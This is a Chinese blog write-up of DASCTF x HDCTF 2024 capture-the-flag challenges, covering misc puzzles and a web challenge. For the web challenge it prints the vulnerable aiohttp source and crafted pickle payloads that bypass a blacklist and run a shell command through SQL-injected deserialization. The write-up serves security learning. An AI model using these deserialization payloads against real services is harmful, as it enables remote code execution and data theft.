DASCTF x HDCTF 2024
本文最后更新于 114 天前,其中的信息可能已经有所发展或是发生改变。

淦,以为写完,实际上并没有

Misc

Solver的开拓之路

  • 解压,/assets/MiHoYoSDKRes/HttpServerResources/audio存在s3cret.zip和一个mp3,明文攻击,兽音译者
!汪喵喵喵喵汪汪呜汪!汪喵汪汪呜呜呜喵呜喵呜汪!!!呜!喵!汪喵呜喵呜喵喵喵汪汪!汪!汪喵汪汪呜呜!汪呜喵呜汪喵汪汪呜!喵!汪喵!!!喵喵喵汪呜汪呜喵汪喵汪汪!汪喵汪呜喵呜汪喵汪汪汪!喵!汪汪喵呜!喵喵喵汪汪汪汪呜汪喵汪汪呜!汪呜呜喵呜汪!汪!喵!喵!汪汪汪喵呜喵喵喵汪汪!喵呜汪喵汪汪!汪呜汪呜喵呜汪喵喵喵喵!喵!汪汪喵喵喵喵喵喵汪呜喵!!汪喵汪汪!喵喵!呜喵呜汪喵汪汪喵!喵!汪喵!!呜喵喵喵汪汪呜!喵汪喵汪汪!喵汪汪呜喵呜汪喵汪!!!喵!汪汪喵汪喵喵喵喵汪呜汪汪汪汪喵汪汪!喵!喵呜喵呜汪喵汪!呜!喵!汪汪汪喵!喵喵喵汪呜喵!喵汪喵汪汪!喵汪汪呜喵呜汪喵喵喵呜!喵!汪喵喵喵喵喵喵喵汪汪喵汪喵汪喵汪汪呜喵呜喵呜喵呜汪!喵!喵!喵!汪汪汪!喵呜

Ez_mc

  • NBTExplorer修改存档权限,allowCommands=1,give获得假flag和密码
已将1个[DASCTF{fake_flag},你被骗了!!!,但奖励你一个PASS=HDCTFWIN!]
  • 解压压缩包得到.svp文件,使用特定软件打开,高为1,低位0,解MorseCode

套娃是你的谎言

  • 部分流量前部存在一些base字符串,解一下可以得到passfake_flag
  • 其次还可以分离得到一个压缩包,需要修一下文件,官方WP的描述是改为AES加密,想不到,根本想不到,这么修还是第一次见
  • 先修头部,可以看到文件名的长度ushort frFileNameLength为23字节,扩展数据ushort frExtraFieldLength长度为11字节,从.txt以后的11字节内容应当为扩展数据,但此处已经进入数据区,缺了11个字节,我们正常压缩一个AES加密的压缩包看看
  • 其11字节内容为01 99 07 00 02 00 41 45 03 08 00,同时8~9字节内容记录了压缩方式为63 00,据此修改错误的压缩包头部
  • 同理中央目录记录区也存在相同的问题,缺少11字节的扩展数据,压缩方式的标记为也存在问题,修改后即可正常解压
  • 然后是压缩包密码,为ntp协议的时间差*10转ascii,比赛时确实觉得ntp流量有些可疑了,正常情况下应该不会有这么多的ntp流量,但是没看出要乘10
data = [8.972008, 20.172647, 20.259451, 29.960382, 30.092938, 41.593605, 41.673149, 53.173706, 53.254845, 59.355902, 59.481600, 71.382342, 71.564876, 81.665601, 81.739929, 92.540906, 92.609521, 102.511004, 102.654159, 113.754793, 113.856658, 124.757317, 124.862347, 134.962710, 135.053263, 146.653963, 146.738695, 157.839347, 157.990778, 168.391236, 168.539019, 178.539767, 178.647972, 188.548326,188.710813, 200.311356, 200.487545, 210.688332, 210.829233]
data = [round((data[i + 1] - data[i]) * 10) for i in range(0, len(data) - 1, 2)]
print(bytes(data).decode())

# pass=welcometohdctf
# 整个都是密码
  • 解压得到google在线表格地址
你能发现其中的秘密吗(三选一)
https://docs.google.com/spreadsheets/d/1pV81jX6C6tEekw0MtSYl05vQzVujULuzQPJdhtZpjHk/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1-cPoMOnVj7cyMnIyMY7K3HSd_tliGWm67jrA9M7_PV8/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1qCdP2PNu6KlTSxrD5Mvf6y7pie_mRSs3YEKySPTVTb4/edit?usp=sharing
  • 应该是隔了很久才复现,在线文档有点儿问题了,可以看到表18 36 47中的base64
REFTQ1RGe1RoM19OM3N0aW5nX2RvSUlfaXNfeW91cl8xaWUhISEhfQ==

谐乐大典

  • 文件名0宽
  • 手动提取封面,oursecret解密
  • ps临近法取点
  • Maxicode解码

Web

OtenkiImp

Python/3.9 aiohttp/3.8.4
  • /hint
from aiohttp import web
import time
import json
import base64
import pickle
import time
import aiomysql
from settings import config, messages


async def mysql_init(app):
    mysql_conf = app['config']['mysql']
    while True:
        try:
            mysql_pool = await aiomysql.create_pool(host=mysql_conf['host'],
                                                    port=mysql_conf['port'],
                                                    user=mysql_conf['user'],
                                                    password=mysql_conf['password'],
                                                    db=mysql_conf['db'])
            break
        except:
            time.sleep(5)
    app.on_shutdown.append(mysql_close)
    app['mysql_pool'] = mysql_pool
    return app


async def mysql_close(app):
    app['mysql_pool'].close()
    await app['mysql_pool'].wait_closed()


async def index(request):
    with open("./static/index.html", "r", encoding="utf-8") as f:
        html = f.read()
    return web.Response(text=html, content_type="text/html")


async def waf(request):
    return web.Response(text=messages[0], status=403)


def check(string):
    black_list = [b'R', b'i', b'o', b'b', b'V', b'__setstate__']
    white_list = [b'__main__', b'builtins', b'contact', b'time', b'dict', b'reason']
    try:
        s = base64.b64decode(string)
    except:
        return False
    for i in white_list:
        s = s.replace(i, b'')
    for i in black_list:
        if i in s:
            return False
    return True


async def getWishes(request):
    wishes = []
    id = request.query.get("id")
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                try:
                    id = str(int(id))
                    sql = 'select id,wish from wishes where id={id}'.format(
                        id=id)
                except:
                    sql = 'select id,wish from wishes'
                await cur.execute(sql)
                datas = await cur.fetchall()
    except:
        return web.Response(text=messages[1])
    for (id, wish) in datas:
        if check(wish):
            wishes.append(pickle.loads(base64.b64decode(wish)))
    return web.Response(text=json.dumps(wishes), content_type="application/json")


async def addWishes(request):
    data = {}
    if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
        data["contact"] = request.query.get("contact")
        data["place"] = request.query.get("place")
        data["reason"] = request.query.get("reason")
        data["date"] = request.query.get("date")
        data["timestamp"] = int(time.time()*1000)
        id = request.query.get("id")
        wish = base64.b64encode(pickle.dumps(data))
    else:
        return web.Response(text=messages[3])
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
                    id=id, wish=wish.decode())
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])


async def rmWishes(request):
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'delete from wishes'
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])


async def hint(request):
    with open(__file__, 'r') as f:
        source = f.read()
    return web.Response(text=source)

if __name__ == '__main__':
    app = web.Application()
    app['config'] = config
    app.router.add_static('/static', path='./static')
    app.add_routes([web.route('*', '/', index),
                    web.route('*', '/waf', waf),
                    web.route('*', '/addWishes', addWishes),
                    web.get('/getWishes', getWishes),
                    web.post('/rmWishes', rmWishes),
                    web.get('/hint', hint)])
    app = mysql_init(app)
    web.run_app(app, port=5000)
  • 很明显,要通过sql注入写入恶意数据然后打pickle反序列化
async def getWishes(request):
    wishes = []
    id = request.query.get("id")
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                try:
                    id = str(int(id))
                    sql = 'select id,wish from wishes where id={id}'.format(
                        id=id)
                except:
                    sql = 'select id,wish from wishes'
                await cur.execute(sql)
                datas = await cur.fetchall()
    except:
        return web.Response(text=messages[1])
    for (id, wish) in datas:
        if check(wish):
            wishes.append(pickle.loads(base64.b64decode(wish)))
    return web.Response(text=json.dumps(wishes), content_type="application/json")
...
async def addWishes(request):
    data = {}
    if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
        data["contact"] = request.query.get("contact")
        data["place"] = request.query.get("place")
        data["reason"] = request.query.get("reason")
        data["date"] = request.query.get("date")
        data["timestamp"] = int(time.time()*1000)
        id = request.query.get("id")
        wish = base64.b64encode(pickle.dumps(data))
    else:
        return web.Response(text=messages[3])
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
                    id=id, wish=wish.decode())
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])
...
  • 直接命令执行行不通,check很死,那么先覆盖check函数,数据无所谓,报错不影响
b"c__main__\n__dict__\n(S'check'\ncbuiltins\nany\nu0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u."
    0: c    GLOBAL     '__main__ __dict__'
   19: (    MARK
   20: S        STRING     'check'
   29: c        GLOBAL     'builtins any'
   43: u        SETITEMS   (MARK at 19)
   44: 0    POP
   45: \x80 PROTO      4
   47: \x95 FRAME      75
   56: }    EMPTY_DICT
   57: \x94 MEMOIZE    (as 0)
   58: (    MARK
   59: \x8c     SHORT_BINUNICODE 'contact'
   68: \x94     MEMOIZE    (as 1)
   69: \x8c     SHORT_BINUNICODE '1'
   72: \x94     MEMOIZE    (as 2)
   73: \x8c     SHORT_BINUNICODE 'place'
   80: \x94     MEMOIZE    (as 3)
   81: \x8c     SHORT_BINUNICODE '2'
   84: \x94     MEMOIZE    (as 4)
   85: \x8c     SHORT_BINUNICODE 'reason'
   93: \x94     MEMOIZE    (as 5)
   94: \x8c     SHORT_BINUNICODE '3'
   97: \x94     MEMOIZE    (as 6)
   98: \x8c     SHORT_BINUNICODE 'date'
  104: \x94     MEMOIZE    (as 7)
  105: \x8c     SHORT_BINUNICODE '4'
  108: \x94     MEMOIZE    (as 8)
  109: \x8c     SHORT_BINUNICODE 'timestamp'
  120: \x94     MEMOIZE    (as 9)
  121: \x8a     LONG1      1713667858534
  129: u        SETITEMS   (MARK at 58)
  130: .    STOP
highest protocol among opcodes = 4
  • 命令执行
b'(\x8c\x1acat /flag > ./static/1.txtios\nsystem\n0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u.'
   0: (    MARK
    1: \x8c     SHORT_BINUNICODE 'cat /flag > ./static/1.txt'
   29: i        INST       'os system' (MARK at 0)
   40: 0    POP
   41: \x80 PROTO      4
   43: \x95 FRAME      75
   52: }    EMPTY_DICT
   53: \x94 MEMOIZE    (as 0)
   54: (    MARK
   55: \x8c     SHORT_BINUNICODE 'contact'
   64: \x94     MEMOIZE    (as 1)
   65: \x8c     SHORT_BINUNICODE '1'
   68: \x94     MEMOIZE    (as 2)
   69: \x8c     SHORT_BINUNICODE 'place'
   76: \x94     MEMOIZE    (as 3)
   77: \x8c     SHORT_BINUNICODE '2'
   80: \x94     MEMOIZE    (as 4)
   81: \x8c     SHORT_BINUNICODE 'reason'
   89: \x94     MEMOIZE    (as 5)
   90: \x8c     SHORT_BINUNICODE '3'
   93: \x94     MEMOIZE    (as 6)
   94: \x8c     SHORT_BINUNICODE 'date'
  100: \x94     MEMOIZE    (as 7)
  101: \x8c     SHORT_BINUNICODE '4'
  104: \x94     MEMOIZE    (as 8)
  105: \x8c     SHORT_BINUNICODE 'timestamp'
  116: \x94     MEMOIZE    (as 9)
  117: \x8a     LONG1      1713667858534
  125: u        SETITEMS   (MARK at 54)
  126: .    STOP
highest protocol among opcodes = 4
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇